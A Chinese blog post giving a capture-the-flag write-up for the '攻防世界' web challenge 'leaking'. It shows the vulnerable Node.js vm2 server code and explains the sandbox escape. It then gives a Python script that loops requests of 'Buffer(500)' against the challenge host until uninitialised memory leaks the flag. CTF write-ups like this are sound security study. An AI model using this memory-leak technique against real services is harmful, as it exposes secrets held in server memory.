专栏/攻防世界 WEB leaking

攻防世界 WEB leaking

2021年08月25日 04:12--浏览 · --点赞 · --评论
粉丝:235文章:151

这题考的是node.js沙箱逃逸,之前没遇到过,属于是又学到新知识了

具体看这一篇,https://juejin.cn/post/6889226643525599240

简单说一下原理吧,就是理论上沙箱里的代码只能与vm上下文打交道,可是vm上下文确是可以与沙箱外的代码和变量打交道的,因此,如果我们能够构造请求,

使得vm上下文代替我们去读取利用沙箱外的代码和变量的话,那就形成了沙箱逃逸,拿这一题来举个例吧

先看一下代码

"use strict";


var randomstring = require("randomstring");

var express = require("express");

var {

    VM

} = require("vm2");

var fs = require("fs");


var app = express();

var flag = require("./config.js").flag


app.get("/", function(req, res) {

    res.header("Content-Type", "text/plain");


    /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */

    eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")

    if (req.query.data && req.query.data.length <= 12) {

        var vm = new VM({

            timeout: 1000

        });

        console.log(req.query.data);

        res.send("eval ->" + vm.run(req.query.data));

    } else {

        res.send(fs.readFileSync(__filename).toString());

    }

});

app.listen(3000, function() {

    console.log("listening on port 3000!");

});

由于第一个eval把flag读入了在内存中的全局变量

所以只要我们能通过沙箱里的eval去读取内存中的内容的话,就可以形成沙箱逃逸

这题甚至都没有用到什么原型链,直接用Buffer()函数用于读取内存的内容,可以通过这个函数直接去读取全局内存中的内容

由于内存的保护机制,并不是每一次都能读取到含有flag内容的代码的,多运行几次就好了,上脚本

# encoding=utf-8


import requests

import time

import re

url = 'http://111.200.241.244:49433/?data=Buffer(500)'

response = ''

while 'flag' not in response:

        req = requests.get(url)

        response = req.text

        print(req.status_code)

        time.sleep(0.1)

        if 'flag{' in response:

            print(re.findall(r'flag{.+}',response))

            break


投诉或建议